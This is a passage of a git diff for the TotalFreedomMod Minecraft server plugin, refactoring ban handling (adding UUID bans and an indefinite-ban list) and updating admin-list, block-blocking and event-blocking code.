 
     public Set<String> getAdminNames()
@@ -356,7 +336,7 @@ public class AdminList extends FreedomService
             for (Map.Entry<String, Object> entry : admin.toSQLStorable().entrySet())
             {
                 Object storedValue = plugin.sql.getValue(currentSave, entry.getKey(), entry.getValue());
-                if (storedValue != null && !storedValue.equals(entry.getValue()) || storedValue == null && entry.getValue() != null)
+                if (storedValue != null && !storedValue.equals(entry.getValue()) || storedValue == null && entry.getValue() != null || entry.getValue() == null)
                 {
                     plugin.sql.setAdminValue(admin, entry.getKey(), entry.getValue());
                 }
@@ -396,4 +376,34 @@ public class AdminList extends FreedomService
 
         updateTables();
     }
+
+    public boolean isVanished(String player)
+    {
+        return vanished.contains(player);
+    }
+
+    public Set<Admin> getAllAdmins()
+    {
+        return allAdmins;
+    }
+
+    public Set<Admin> getActiveAdmins()
+    {
+        return activeAdmins;
+    }
+
+    public Map<String, Admin> getNameTable()
+    {
+        return nameTable;
+    }
+
+    public Map<String, Admin> getIpTable()
+    {
+        return ipTable;
+    }
+
+    public Map<String, List<String>> getVerifiedNoAdmin()
+    {
+        return verifiedNoAdmin;
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/banning/Ban.java

@@ -1,66 +1,58 @@
 package me.totalfreedom.totalfreedommod.banning;
 
 import com.google.common.collect.Lists;
-import java.text.DateFormat;
 import java.text.SimpleDateFormat;
 import java.time.Instant;
 import java.util.ArrayList;
-import java.util.Arrays;
+import java.util.Collections;
 import java.util.Date;
 import java.util.HashSet;
-import java.util.Iterator;
 import java.util.List;
 import java.util.Set;
-import lombok.Getter;
-import lombok.Setter;
+import java.util.UUID;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.pravian.aero.base.Validatable;
-import net.pravian.aero.util.Ips;
 import org.bukkit.ChatColor;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-public class Ban implements Validatable
+public class Ban
 {
 
-    public static final SimpleDateFormat DATE_FORMAT = new SimpleDateFormat("yyyy-MM-dd \'at\' HH:mm:ss z");
-
-    @Getter
-    @Setter
-    private String username = null;
-    @Getter
+    public static final SimpleDateFormat DATE_FORMAT = new SimpleDateFormat("yyyy-MM-dd 'at' HH:mm:ss z");
     private final List<String> ips = Lists.newArrayList();
-    @Getter
-    @Setter
+    private String username = null;
+    private UUID uuid = null;
     private String by = null;
-    @Getter
-    @Setter
+
+
     private Date at = null;
-    @Getter
-    @Setter
+
+
     private String reason = null; // Unformatted, &[0-9,a-f] instead of ChatColor
-    @Getter
-    @Setter
+
+
     private long expiryUnix = -1;
 
     public Ban()
     {
     }
 
-    public Ban(String username, String ip, String by, Date at, Date expire, String reason)
+    public Ban(String username, UUID uuid, String ip, String by, Date at, Date expire, String reason)
     {
         this(username,
-                Arrays.asList(ip),
+                uuid,
+                Collections.singletonList(ip),
                 by,
                 at,
                 expire,
                 reason);
     }
 
-    public Ban(String username, List<String> ips, String by, Date at, Date expire, String reason)
+    public Ban(String username, UUID uuid, List<String> ips, String by, Date at, Date expire, String reason)
     {
         this.username = username;
+        this.uuid = uuid;
         if (ips != null)
         {
             this.ips.addAll(ips);
@@ -68,6 +60,10 @@ public class Ban implements Validatable
         dedupeIps();
         this.by = by;
         this.at = at;
+        if (expire == null)
+        {
+            expire = FUtil.parseDateOffset("24h");
+        }
         this.expiryUnix = FUtil.getUnixTime(expire);
         this.reason = reason;
     }
@@ -81,12 +77,12 @@ public class Ban implements Validatable
 
     public static Ban forPlayerIp(Player player, CommandSender by, Date expiry, String reason)
     {
-        return new Ban(null, Arrays.asList(Ips.getIp(player)), by.getName(), Date.from(Instant.now()), expiry, reason);
+        return new Ban(null, null, Collections.singletonList(FUtil.getIp(player)), by.getName(), Date.from(Instant.now()), expiry, reason);
     }
 
     public static Ban forPlayerIp(String ip, CommandSender by, Date expiry, String reason)
     {
-        return new Ban(null, ip, by.getName(), Date.from(Instant.now()), expiry, reason);
+        return new Ban(null, null, ip, by.getName(), Date.from(Instant.now()), expiry, reason);
     }
 
     //
@@ -99,7 +95,8 @@ public class Ban implements Validatable
     public static Ban forPlayerName(String player, CommandSender by, Date expiry, String reason)
     {
         return new Ban(player,
-                new ArrayList<String>(),
+                null,
+                new ArrayList<>(),
                 by.getName(),
                 Date.from(Instant.now()),
                 expiry,
@@ -116,7 +113,8 @@ public class Ban implements Validatable
     public static Ban forPlayer(Player player, CommandSender by, Date expiry, String reason)
     {
         return new Ban(player.getName(),
-                Ips.getIp(player),
+                player.getUniqueId(),
+                FUtil.getIp(player),
                 by.getName(),
                 Date.from(Instant.now()),
                 expiry,
@@ -126,18 +124,29 @@ public class Ban implements Validatable
     public static Ban forPlayerFuzzy(Player player, CommandSender by, Date expiry, String reason)
     {
         return new Ban(player.getName(),
-                FUtil.getFuzzyIp(Ips.getIp(player)),
+                player.getUniqueId(),
+                FUtil.getFuzzyIp(FUtil.getIp(player)),
                 by.getName(),
                 Date.from(Instant.now()),
                 expiry,
                 reason);
     }
 
+    public static SimpleDateFormat getDateFormat()
+    {
+        return DATE_FORMAT;
+    }
+
     public boolean hasUsername()
     {
         return username != null && !username.isEmpty();
     }
 
+    public boolean hasUUID()
+    {
+        return uuid != null;
+    }
+
     public boolean addIp(String ip)
     {
         return ips.add(ip);
@@ -160,14 +169,27 @@ public class Ban implements Validatable
 
     public boolean isExpired()
     {
-        return hasExpiry() && expiryUnix < FUtil.getUnixTime();
+        return hasExpiry() && FUtil.getUnixDate(expiryUnix).before(new Date(FUtil.getUnixTime()));
     }
 
     public String bakeKickMessage()
     {
         final StringBuilder message = new StringBuilder(ChatColor.GOLD + "You");
 
-        message.append(!hasUsername() ? "r IP address is" : " are").append(" temporarily banned from this server.");
+        if (!hasUsername())
+        {
+            message.append("r IP address is");
+        }
+        else if (!hasIps())
+        {
+            message.append("r username is");
+        }
+        else
+        {
+            message.append(" are");
+        }
+
+        message.append(" temporarily banned from this server.");
         message.append("\nAppeal at ").append(ChatColor.BLUE)
                 .append(ConfigEntry.SERVER_BAN_URL.getString());
 
@@ -226,34 +248,76 @@ public class Ban implements Validatable
         return !(hasUsername() && !(getUsername().equalsIgnoreCase(ban.getUsername())));
     }
 
-    @Override
-    public int hashCode()
-    {
-        int hash = 7;
-        hash = 79 * hash + (this.username != null ? this.username.toLowerCase().hashCode() : 0);
-        hash = 79 * hash + (this.ips != null ? this.ips.hashCode() : 0);
-        return hash;
-    }
-
-    @Override
-    public boolean isValid()
-    {
-        return username != null || !ips.isEmpty();
-    }
-
     private void dedupeIps()
     {
-
         Set<String> uniqueIps = new HashSet<>();
 
-        Iterator<String> it = ips.iterator();
-        while (it.hasNext())
-        {
-            if (!uniqueIps.add(it.next()))
-            {
-                it.remove();
-            }
+        //Fancy Collections.removeIf lets you do all that while loop work in one lambda.
+        ips.removeIf(s -> !uniqueIps.add(s));
     }
 
+    public List<String> getIps()
+    {
+        return ips;
+    }
+
+    public String getUsername()
+    {
+        return username;
+    }
+
+    public void setUsername(String username)
+    {
+        this.username = username;
+    }
+
+    public UUID getUuid()
+    {
+        return uuid;
+    }
+
+    public void setUuid(UUID uuid)
+    {
+        this.uuid = uuid;
+    }
+
+    public String getBy()
+    {
+        return by;
+    }
+
+    public void setBy(String by)
+    {
+        this.by = by;
+    }
+
+    public Date getAt()
+    {
+        return at;
+    }
+
+    public void setAt(Date at)
+    {
+        this.at = at;
+    }
+
+    public String getReason()
+    {
+        return reason;
+    }
+
+    public void setReason(String reason)
+    {
+        this.reason = reason;
+    }
+
+    public long getExpiryUnix()
+    {
+        return expiryUnix;
+    }
+
+    public void setExpiryUnix(long expiryUnix)
+    {
+        this.expiryUnix = expiryUnix;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/banning/BanManager.java

@@ -9,17 +9,14 @@ import java.util.ArrayList;
 import java.util.Collection;
 import java.util.Collections;
 import java.util.Date;
-import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.UUID;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.player.PlayerData;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.pravian.aero.util.Ips;
 import org.bukkit.entity.Player;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
@@ -30,19 +27,15 @@ public class BanManager extends FreedomService
 {
 
     private final Set<Ban> bans = Sets.newHashSet();
-    private final Map<String, Ban> ipBans = Maps.newHashMap();
     private final Map<String, Ban> nameBans = Maps.newHashMap();
+    private final Map<UUID, Ban> uuidBans = Maps.newHashMap();
+    private final Map<String, Ban> ipBans = Maps.newHashMap();
     private final List<String> unbannableUsernames = Lists.newArrayList();
 
     //
 
-    public BanManager(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
         bans.clear();
         try
@@ -52,12 +45,18 @@ public class BanManager extends FreedomService
                 while (banSet.next())
                 {
                     String name = banSet.getString("name");
+                    UUID uuid = null;
+                    String strUUID = banSet.getString("uuid");
+                    if (strUUID != null)
+                    {
+                        uuid = UUID.fromString(strUUID);
+                    }
                     List<String> ips = FUtil.stringToList(banSet.getString("ips"));
                     String by = banSet.getString("by");
                     Date at = new Date(banSet.getLong("at"));
                     Date expires = new Date(banSet.getLong("expires"));
                     String reason = banSet.getString("reason");
-                    Ban ban = new Ban(name, ips, by, at, expires, reason);
+                    Ban ban = new Ban(name, uuid, ips, by, at, expires, reason);
                     bans.add(ban);
                 }
             }
@@ -74,12 +73,12 @@ public class BanManager extends FreedomService
 
         // Load unbannable usernames
         unbannableUsernames.clear();
-        unbannableUsernames.addAll((Collection<? extends String>)ConfigEntry.FAMOUS_PLAYERS.getList());
+        unbannableUsernames.addAll(ConfigEntry.FAMOUS_PLAYERS.getStringList());
         FLog.info("Loaded " + unbannableUsernames.size() + " unbannable usernames.");
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -121,7 +120,7 @@ public class BanManager extends FreedomService
                     continue;
                 }
 
-                if (Ips.fuzzyIpMatch(ip, loopIp, 4))
+                if (FUtil.fuzzyIpMatch(ip, loopIp, 4))
                 {
                     return loopBan;
                 }
@@ -144,6 +143,18 @@ public class BanManager extends FreedomService
         return null;
     }
 
+    public Ban getByUUID(UUID uuid)
+    {
+        final Ban directBan = uuidBans.get(uuid);
+
+        if (directBan != null && !directBan.isExpired())
+        {
+            return directBan;
+        }
+
+        return null;
+    }
+
     public Ban unbanIp(String ip)
     {
         final Ban ban = getByIp(ip);
@@ -178,32 +189,41 @@ public class BanManager extends FreedomService
         return getByUsername(username) != null;
     }
 
-    public boolean addBan(Ban ban)
+    public void addBan(Ban ban)
     {
-        if (getByUsername(ban.getUsername()) != null)
+        if (ban.getUsername() != null && getByUsername(ban.getUsername()) != null)
         {
             removeBan(ban);
         }
+        else
+        {
+
+            for (String ip : ban.getIps())
+            {
+                if (getByIp(ip) != null)
+                {
+                    removeBan(ban);
+                    break;
+                }
+            }
+        }
+
         if (bans.add(ban))
         {
             plugin.sql.addBan(ban);
             updateViews();
-            return true;
         }
 
-        return false;
     }
 
-    public boolean removeBan(Ban ban)
+    public void removeBan(Ban ban)
     {
         if (bans.remove(ban))
         {
             plugin.sql.removeBan(ban);
             updateViews();
-            return true;
         }
 
-        return false;
     }
 
     public int purge()
@@ -219,14 +239,20 @@ public class BanManager extends FreedomService
     public void onPlayerLogin(PlayerLoginEvent event)
     {
         final String username = event.getPlayer().getName();
-        final String ip = Ips.getIp(event);
+        final UUID uuid = event.getPlayer().getUniqueId();
+        final String ip = FUtil.getIp(event);
 
         // Regular ban
         Ban ban = getByUsername(username);
+        if (ban == null)
+        {
+            ban = getByUUID(uuid);
+
             if (ban == null)
             {
                 ban = getByIp(ip);
             }
+        }
 
         if (ban != null && !ban.isExpired())
         {
@@ -238,7 +264,6 @@ public class BanManager extends FreedomService
     public void onPlayerJoin(PlayerJoinEvent event)
     {
         final Player player = event.getPlayer();
-        final PlayerData data = plugin.pl.getData(player);
 
         if (!plugin.al.isAdmin(player))
         {
@@ -246,14 +271,19 @@ public class BanManager extends FreedomService
         }
 
         // Unban admins
-        for (String storedIp : data.getIps())
+        Ban ban = getByUsername(player.getName());
+        if (ban != null)
         {
-            unbanIp(storedIp);
-            unbanIp(FUtil.getFuzzyIp(storedIp));
+            removeBan(ban);
+        }
+        else
+        {
+            ban = getByIp(FUtil.getIp(player));
+            if (ban != null)
+            {
+                removeBan(ban);
+            }
         }
-
-        unbanUsername(player.getName());
-        player.setOp(true);
     }
 
     private void updateViews()
@@ -269,6 +299,7 @@ public class BanManager extends FreedomService
         }
 
         nameBans.clear();
+        uuidBans.clear();
         ipBans.clear();
         for (Ban ban : bans)
         {
@@ -277,6 +308,11 @@ public class BanManager extends FreedomService
                 nameBans.put(ban.getUsername().toLowerCase(), ban);
             }
 
+            if (ban.hasUUID())
+            {
+                uuidBans.put(ban.getUuid(), ban);
+            }
+
             if (ban.hasIps())
             {
                 for (String ip : ban.getIps())
@@ -286,5 +322,4 @@ public class BanManager extends FreedomService
             }
         }
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/banning/IndefiniteBan.java

@@ -0,0 +1,89 @@
+package me.totalfreedom.totalfreedommod.banning;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import java.util.UUID;
+import me.totalfreedom.totalfreedommod.config.IConfig;
+import me.totalfreedom.totalfreedommod.util.FLog;
+import org.bukkit.configuration.ConfigurationSection;
+
+public class IndefiniteBan implements IConfig
+{
+    private final List<String> ips = Lists.newArrayList();
+    private String username = null;
+    private UUID uuid = null;
+    private String reason = null;
+
+    public IndefiniteBan()
+    {
+    }
+
+    @Override
+    public void loadFrom(ConfigurationSection cs)
+    {
+        this.username = cs.getName();
+        try
+        {
+            String strUUID = cs.getString("uuid", null);
+            if (strUUID != null)
+            {
+                UUID uuid = UUID.fromString(strUUID);
+                this.uuid = uuid;
+            }
+        }
+        catch (IllegalArgumentException e)
+        {
+            FLog.warning("Failed to load indefinite banned UUID for " + this.username + ". Make sure the UUID is in the correct format with dashes.");
+        }
+        this.ips.clear();
+        this.ips.addAll(cs.getStringList("ips"));
+        this.reason = cs.getString("reason", null);
+    }
+
+    @Override
+    public void saveTo(ConfigurationSection cs)
+    {
+        // The indefinite ban list is only intended to be modified manually. It is not intended to save.
+    }
+
+    @Override
+    public boolean isValid()
+    {
+        return username != null;
+    }
+
+    public String getUsername()
+    {
+        return username;
+    }
+
+    public void setUsername(String username)
+    {
+        this.username = username;
+    }
+
+    public UUID getUuid()
+    {
+        return uuid;
+    }
+
+    public void setUuid(UUID uuid)
+    {
+        this.uuid = uuid;
+    }
+
+    public List<String> getIps()
+    {
+        return ips;
+    }
+
+    public String getReason()
+    {
+        return reason;
+    }
+
+    public void setReason(String reason)
+    {
+        this.reason = reason;
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/banning/IndefiniteBanList.java

@@ -0,0 +1,165 @@
+package me.totalfreedom.totalfreedommod.banning;
+
+import com.google.common.base.Strings;
+import com.google.common.collect.Sets;
+import java.util.Set;
+import java.util.UUID;
+import me.totalfreedom.totalfreedommod.FreedomService;
+import me.totalfreedom.totalfreedommod.config.ConfigEntry;
+import me.totalfreedom.totalfreedommod.config.YamlConfig;
+import me.totalfreedom.totalfreedommod.util.FLog;
+import me.totalfreedom.totalfreedommod.util.FUtil;
+import org.bukkit.ChatColor;
+import org.bukkit.configuration.ConfigurationSection;
+import org.bukkit.event.EventHandler;
+import org.bukkit.event.EventPriority;
+import org.bukkit.event.player.PlayerLoginEvent;
+
+public class IndefiniteBanList extends FreedomService
+{
+
+    public static final String CONFIG_FILENAME = "indefinitebans.yml";
+
+
+    private final Set<IndefiniteBan> indefBans = Sets.newHashSet();
+
+
+    private int nameBanCount = 0;
+
+
+    private int uuidBanCount = 0;
+
+
+    private int ipBanCount = 0;
+
+    public static String getConfigFilename()
+    {
+        return CONFIG_FILENAME;
+    }
+
+    @Override
+    public void onStart()
+    {
+        indefBans.clear();
+
+        final YamlConfig config = new YamlConfig(plugin, CONFIG_FILENAME, true);
+        config.load();
+
+        for (String name : config.getKeys(false))
+        {
+            if (!config.isConfigurationSection(name))
+            {
+                FLog.warning("Could not load indefinite ban for " + name + ": Invalid format!");
+                continue;
+            }
+
+            IndefiniteBan indefBan = new IndefiniteBan();
+            ConfigurationSection cs = config.getConfigurationSection(name);
+            assert cs != null;
+            indefBan.loadFrom(cs);
+
+            if (!indefBan.isValid())
+            {
+                FLog.warning("Not adding indefinite ban for " + name + ": Missing information.");
+                continue;
+            }
+
+            indefBans.add(indefBan);
+        }
+
+        updateCount();
+
+        FLog.info("Loaded " + nameBanCount + " indefinite name bans, " + uuidBanCount + " UUID bans, and " + ipBanCount + " ip bans");
+    }
+
+    @Override
+    public void onStop()
+    {
+    }
+
+    @EventHandler(priority = EventPriority.LOWEST)
+    public void onPlayerLogin(PlayerLoginEvent event)
+    {
+        final String username = event.getPlayer().getName();
+        final UUID uuid = event.getPlayer().getUniqueId();
+        final String ip = FUtil.getIp(event);
+
+        String bannedBy = "";
+        IndefiniteBan ban = null;
+
+        for (IndefiniteBan indefBan : indefBans)
+        {
+            if (username.equalsIgnoreCase(indefBan.getUsername()))
+            {
+                bannedBy = "username";
+                ban = indefBan;
+                break;
+            }
+            else if (indefBan.getUuid() != null && indefBan.getUuid().equals(uuid))
+            {
+                bannedBy = "UUID";
+                ban = indefBan;
+                break;
+            }
+            else if (indefBan.getIps().contains(ip))
+            {
+                bannedBy = "IP address";
+                ban = indefBan;
+                break;
+            }
+        }
+
+        if (ban != null)
+        {
+            String kickMessage = ChatColor.RED + "Your " + bannedBy + " is indefinitely banned from this server.";
+            String reason = ban.getReason();
+            if (!Strings.isNullOrEmpty(reason))
+            {
+                kickMessage += "\nReason: " + ChatColor.GOLD + reason;
+            }
+            String appealURL = ConfigEntry.SERVER_INDEFBAN_URL.getString();
+            if (!Strings.isNullOrEmpty(appealURL))
+            {
+                kickMessage += ChatColor.RED + "\n\nRelease procedures are available at\n" + ChatColor.GOLD + ConfigEntry.SERVER_INDEFBAN_URL.getString();
+            }
+            event.disallow(PlayerLoginEvent.Result.KICK_OTHER, kickMessage);
+        }
+    }
+
+    private void updateCount()
+    {
+        nameBanCount = 0;
+        uuidBanCount = 0;
+        ipBanCount = 0;
+
+        for (IndefiniteBan indefBan : indefBans)
+        {
+            nameBanCount += 1;
+            if (indefBan.getUuid() != null)
+            {
+                uuidBanCount += 1;
+            }
+            ipBanCount += indefBan.getIps().size();
+        }
+    }
+
+    public Set<IndefiniteBan> getIndefBans()
+    {
+        return indefBans;
+    }
+
+    public int getNameBanCount()
+    {
+        return nameBanCount;
+    }
+
+    public int getUuidBanCount()
+    {
+        return uuidBanCount;
+    }
+
+    public int getIpBanCount()
+    {
+        return ipBanCount;
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/banning/PermbanList.java

@@ -1,99 +0,0 @@
-package me.totalfreedom.totalfreedommod.banning;
-
-import com.google.common.collect.Sets;
-import java.util.Set;
-import lombok.Getter;
-import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
-import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.util.FLog;
-import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.pravian.aero.config.YamlConfig;
-import net.pravian.aero.util.Ips;
-import org.bukkit.ChatColor;
-import org.bukkit.event.EventHandler;
-import org.bukkit.event.EventPriority;
-import org.bukkit.event.player.PlayerLoginEvent;
-
-public class PermbanList extends FreedomService
-{
-
-    public static final String CONFIG_FILENAME = "permbans.yml";
-
-    @Getter
-    private final Set<String> permbannedNames = Sets.newHashSet();
-    @Getter
-    private final Set<String> permbannedIps = Sets.newHashSet();
-
-    public PermbanList(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
-    @Override
-    protected void onStart()
-    {
-        permbannedNames.clear();
-        permbannedIps.clear();
-
-        final YamlConfig config = new YamlConfig(plugin, CONFIG_FILENAME, true);
-        config.load();
-
-        for (String name : config.getKeys(false))
-        {
-            permbannedNames.add(name.toLowerCase().trim());
-            permbannedIps.addAll(config.getStringList(name));
-        }
-
-        FLog.info("Loaded " + permbannedIps.size() + " perm IP bans and " + permbannedNames.size() + " perm username bans.");
-    }
-
-    @Override
-    protected void onStop()
-    {
-    }
-
-    @EventHandler(priority = EventPriority.LOWEST)
-    public void onPlayerLogin(PlayerLoginEvent event)
-    {
-        final String username = event.getPlayer().getName();
-        final String ip = Ips.getIp(event);
-
-        // Permbanned IPs
-        for (String testIp : getPermbannedIps())
-        {
-            if (FUtil.fuzzyIpMatch(testIp, ip, 4))
-            {
-                event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
-                        ChatColor.RED + "Your IP address is permanently banned from this server.\n"
-                                + "Release procedures are available at\n"
-                                + ChatColor.GOLD + ConfigEntry.SERVER_PERMBAN_URL.getString());
-                return;
-            }
-        }
-
-        // Permbanned usernames
-        for (String testPlayer : getPermbannedNames())
-        {
-            if (testPlayer.equalsIgnoreCase(username))
-            {
-                event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
-                        ChatColor.RED + "Your username is permanently banned from this server.\n"
-                                + "Release procedures are available at\n"
-                                + ChatColor.GOLD + ConfigEntry.SERVER_PERMBAN_URL.getString());
-                return;
-            }
-        }
-
-    }
-
-    public Set<String> getPermbannedNames()
-    {
-        return this.permbannedNames;
-    }
-
-    public Set<String> getPermbannedIps()
-    {
-        return this.permbannedIps;
-    }
-}

src/main/java/me/totalfreedom/totalfreedommod/blocking/BlockBlocker.java

@@ -2,15 +2,11 @@ package me.totalfreedom.totalfreedommod.blocking;
 
 import java.util.List;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.util.FLog;
-import me.totalfreedom.totalfreedommod.util.FUtil;
 import me.totalfreedom.totalfreedommod.util.Groups;
 import org.bukkit.ChatColor;
 import org.bukkit.Material;
 import org.bukkit.block.Banner;
-import org.bukkit.block.Block;
 import org.bukkit.block.Skull;
 import org.bukkit.block.banner.Pattern;
 import org.bukkit.entity.Player;
@@ -23,22 +19,17 @@ import org.bukkit.inventory.meta.SkullMeta;
 
 public class BlockBlocker extends FreedomService
 {
-
-    public BlockBlocker(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
+    @SuppressWarnings("deprecation")
     @EventHandler(priority = EventPriority.HIGH)
     public void onBlockPlace(BlockPlaceEvent event)
     {
@@ -68,6 +59,7 @@ public class BlockBlocker extends FreedomService
                 break;
             }
             case FIRE:
+            case SOUL_FIRE:
             {
                 if (!ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
                 {
@@ -142,7 +134,7 @@ public class BlockBlocker extends FreedomService
             case PLAYER_WALL_HEAD:
             {
                 Skull skull = (Skull)event.getBlockPlaced().getState();
-                if (skull.hasOwner())
+                if (skull.getOwner() != null)
                 {
                     if (skull.getOwner().contains("\u00A7"))
                     {
@@ -152,6 +144,7 @@ public class BlockBlocker extends FreedomService
                         {
                             ItemStack newHead = new ItemStack(Material.PLAYER_HEAD, 1);
                             ItemMeta headMeta = newHead.getItemMeta();
+                            assert headMeta != null;
                             headMeta.setDisplayName(ChatColor.YELLOW + "C-sectioned Head");
                             newHead.setItemMeta(headMeta);
                             player.getInventory().setItem(player.getInventory().getHeldItemSlot(), newHead);
@@ -168,21 +161,33 @@ public class BlockBlocker extends FreedomService
                 }
                 break;
             }
+            case RESPAWN_ANCHOR:
+            {
+                if (!ConfigEntry.ALLOW_RESPAWN_ANCHORS.getBoolean())
+                {
+                    player.sendMessage(ChatColor.GRAY + "Respawn anchors are disabled.");
+                    player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
+                    event.setCancelled(true);
+                }
+                break;
+            }
+            default:
+            {
+                // Do nothing
+                break;
+            }
         }
 
         if (Groups.BANNERS.contains(event.getBlockPlaced().getType()))
         {
             Banner banner = (Banner)event.getBlockPlaced().getState();
             List<Pattern> patterns = banner.getPatterns();
-            Banner handBanner = (Banner) (((Block) event.getItemInHand()).getState());
-            List<Pattern> handPatterns = banner.getPatterns();
+
             if (patterns.size() >= 2)
             {
                 banner.setPatterns(patterns.subList(0, 2));
-                handBanner.setPatterns(handPatterns.subList(0, 2));
                 player.sendMessage(ChatColor.GRAY + "Your banner had too many patterns on it, so some were removed.");
             }
         }
-
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/blocking/EditBlocker.java

@@ -1,7 +1,6 @@
 package me.totalfreedom.totalfreedommod.blocking;
 
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import me.totalfreedom.totalfreedommod.util.FSync;
 import org.bukkit.ChatColor;
@@ -12,19 +11,13 @@ import org.bukkit.event.block.BlockPlaceEvent;
 
 public class EditBlocker extends FreedomService
 {
-
-    public EditBlocker(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -65,5 +58,4 @@ public class EditBlocker extends FreedomService
         FSync.playerMsg(event.getPlayer(), ChatColor.RED + "Your ability to destroy blocks has been disabled!");
         event.setCancelled(true);
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/blocking/EventBlocker.java

@@ -1,32 +1,37 @@
 package me.totalfreedom.totalfreedommod.blocking;
 
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
+import java.util.Objects;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import me.totalfreedom.totalfreedommod.util.Groups;
 import org.bukkit.Material;
 import org.bukkit.attribute.Attribute;
 import org.bukkit.attribute.AttributeModifier;
+import org.bukkit.block.data.AnaloguePowerable;
+import org.bukkit.block.data.Powerable;
 import org.bukkit.entity.Entity;
+import org.bukkit.entity.FallingBlock;
 import org.bukkit.entity.Tameable;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
 import org.bukkit.event.block.BlockBurnEvent;
 import org.bukkit.event.block.BlockDispenseEvent;
 import org.bukkit.event.block.BlockFromToEvent;
+import org.bukkit.event.block.BlockGrowEvent;
 import org.bukkit.event.block.BlockIgniteEvent;
+import org.bukkit.event.block.BlockPhysicsEvent;
 import org.bukkit.event.block.BlockPistonExtendEvent;
 import org.bukkit.event.block.BlockPistonRetractEvent;
-import org.bukkit.event.block.BlockRedstoneEvent;
 import org.bukkit.event.block.LeavesDecayEvent;
-import org.bukkit.event.block.BlockGrowEvent;
 import org.bukkit.event.entity.EntityCombustEvent;
 import org.bukkit.event.entity.EntityDamageEvent;
 import org.bukkit.event.entity.EntityDeathEvent;
 import org.bukkit.event.entity.EntityExplodeEvent;
+import org.bukkit.event.entity.EntitySpawnEvent;
 import org.bukkit.event.entity.ExplosionPrimeEvent;
 import org.bukkit.event.entity.FireworkExplodeEvent;
 import org.bukkit.event.entity.PlayerDeathEvent;
@@ -35,19 +40,27 @@ import org.bukkit.event.player.PlayerRespawnEvent;
 
 public class EventBlocker extends FreedomService
 {
+    /**
+     * /@EventHandler(priority = EventPriority.HIGH)
+     * /public void onBlockRedstone(BlockRedstoneEvent event)
+     * /{
+     * /    if (!ConfigEntry.ALLOW_REDSTONE.getBoolean())
+     * /    {
+     * /        event.setNewCurrent(0);
+     * /    }
+     * /}
+     **/
 
-    public EventBlocker(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
+    // TODO: Revert back to old redstone block system when (or if) it is fixed in Bukkit, Spigot or Paper.
+    private final ArrayList<Material> redstoneBlocks = new ArrayList<>(Arrays.asList(Material.REDSTONE, Material.DISPENSER, Material.DROPPER, Material.REDSTONE_LAMP));
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -123,17 +136,12 @@ public class EventBlocker extends FreedomService
     @EventHandler(priority = EventPriority.HIGH)
     public void onEntityDamage(EntityDamageEvent event)
     {
-        switch (event.getCause())
-        {
-            case LAVA:
-            {
-                if (!ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
+        if ((event.getCause() == EntityDamageEvent.DamageCause.LAVA)
+                && !ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
         {
             event.setCancelled(true);
             return;
         }
-            }
-        }
 
         if (ConfigEntry.ENABLE_PET_PROTECT.getBoolean())
         {
@@ -206,27 +214,41 @@ public class EventBlocker extends FreedomService
         }
     }
 
-    @EventHandler(priority = EventPriority.HIGH)
-    public void onBlockRedstone(BlockRedstoneEvent event)
+    @EventHandler
+    public void onEntitySpawn(EntitySpawnEvent event)
+    {
+        if (!ConfigEntry.ALLOW_GRAVITY.getBoolean() && event.getEntity() instanceof FallingBlock)
+        {
+            event.setCancelled(true);
+        }
+    }
+
+    @EventHandler
+    public void onBlockPhysics(BlockPhysicsEvent event)
     {
